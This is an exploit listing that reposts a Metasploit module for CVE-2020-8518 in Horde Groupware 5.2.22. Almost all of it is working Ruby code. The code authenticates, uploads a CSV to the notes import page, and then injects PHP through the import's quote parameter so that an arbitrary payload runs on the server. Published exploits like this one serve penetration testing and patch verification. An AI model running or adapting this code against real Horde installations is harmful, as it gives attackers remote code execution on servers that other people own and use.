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Horde 5.2.22 CSV Import Code Execution

Horde 5.2.22 CSV Import Code Execution
Posted Mar 23, 2020
Authored by Andrea Cardaci | Site metasploit.com

The Horde_Data module version 2.1.4 (and before) present in Horde Groupware version 5.2.22 allows authenticated users to inject arbitrary PHP code thus achieving remote code execution the server hosting the web application.

tags | exploit, remote, web, arbitrary, php, code execution
advisories | CVE-2020-8518
MD5 | f0c7e4ae9064e2e1fa8b38b7392b0984

Horde 5.2.22 CSV Import Code Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(
update_info(
info,
'Name' => 'Horde CSV import arbitrary PHP code execution',
'Description' => %q{

The Horde_Data module version 2.1.4 (and before) present in Horde
Groupware version 5.2.22 allows authenticated users to inject
arbitrary PHP code thus achieving RCE on the server hosting the web
application.

},
'License' => MSF_LICENSE,
'Author' => ['Andrea Cardaci <cyrus.and@gmail.com>'],
'References' => [
['CVE', '2020-8518'],
['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']
],
'DisclosureDate' => '2020-02-07',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Payload' => {'BadChars' => "'"},
'Privileged' => false,
'DefaultOptions' => { 'PrependFork' => true },
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with']),
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
])
end

def login
username = datastore['USERNAME']
password = datastore['PASSWORD']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'login.php'),
'cookie' => 'Horde=x', # avoid multiple Set-Cookie
'vars_post' => {
'horde_user' => username,
'horde_pass' => password,
'login_post' => '1'})
unless res && res.code == 302 && res.headers['Location'].include?('/services/portal/')
fail_with(Failure::UnexpectedReply, 'Login failed or application not found')
end

vprint_good("Logged in as #{username}:#{password}")
return res.get_cookies
end

def upload_csv(cookie)
csv_fname = Rex::Text.rand_text_alpha(6..8)

data = Rex::MIME::Message.new
data.add_part('11', nil, nil, 'form-data; name="actionID"')
data.add_part('1', nil, nil, 'form-data; name="import_step"')
data.add_part('csv', nil, nil, 'form-data; name="import_format"')
data.add_part('x', nil, nil, 'form-data; name="notepad_target"')
data.add_part(csv_fname, nil, nil, "form-data; name=\"import_file\"; filename=\"#{csv_fname}\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
'cookie' => cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s)

vprint_status("Uploading #{csv_fname}.csv")

unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')
end

vprint_good('CSV file uploaded')
end

def execute(cookie, function_call)
options = {
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'mnemo/data.php'),
'cookie' => cookie,
'vars_post' => {
'actionID' => '3',
'import_step' => '2',
'import_format' => 'csv',
'header' => '1',
'fields' => '1',
'sep' => 'x',
'quote' => ").#{function_call}.die();}//\\"}}

send_request_cgi(options)
end

def exploit
cookie = login()
upload_csv(cookie)
# do not terminate the statement
function_call = payload.encoded.tr(';', '')
vprint_status("Sending payload: #{function_call}")
execute(cookie, function_call)
end
end
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